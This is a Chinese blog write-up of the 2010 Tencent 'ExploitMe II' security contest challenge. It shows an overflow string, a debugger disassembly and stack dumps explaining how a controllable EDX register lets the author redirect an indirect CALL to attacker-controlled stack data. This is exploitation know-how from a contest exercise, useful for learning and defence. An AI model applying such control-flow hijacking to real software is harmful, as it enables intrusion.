ExploitMe II

  • 1177
  • 0

摘要:ExploitMe II

 

深圳腾讯2010安全技术竞赛1-1ExploitMe分析
 
前面测试的方法先不说了,参考之前即可。这里的触发条件是dwSize的大小需要0x84,直接手工填一下:    
ABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJAB    
覆盖的是最后的IJAB,不信可以删除一下B,重新测试一下。
此时面临一个的问题,和之前分析的ExploitMe不太一样,看关键代码这里:
 
0040115A  |. FF10           CALL DWORD PTR DS:[EAX]                  ;  ExploitM.004011B0    
0040115C  |. 8B9424 A400000>MOV EDX,DWORD PTR SS:[ESP+A4]    
00401163  |. 8D8C24 A400000>LEA ECX,DWORD PTR SS:[ESP+A4]    
0040116A  |. FF12           CALL DWORD PTR DS:[EDX]    **//这里EDX的值我们是可以控制的**
 
此时EDX是一个可控值,我们需要更改EDX至一个我们可以控制的栈上:
0012FC78   44434241  ABCD    
……
0012FCF4   48474645  EFGH    
0012FCF8   **0012FC78**  x?.   ASCII 41,"BCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEF"    
比如这样我就可以控制了call指向的地址    
0012FC78   0012FC7C     <----call 0012FC7C    
0012FC7C   48474645     <----call到这里    
……    
0012FCF8   0012FC78  x?.   ASCII 41,"BCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEF"    
 
然后就可以实现这个漏洞的利用了。不过此方法非完美利用,你可以尝试实现完美的利用方法。
 

 

 

 

------------------------------

文章的授權使用CC BY-ND2.5協議。凡是標示“轉載”的文章,均來源於網絡並儘可能標註作者。如果有侵犯您的權益,請及時聯繫刪除或者署名、授權。


Gtalk/Email: cmd4shell  [at]  gmail.com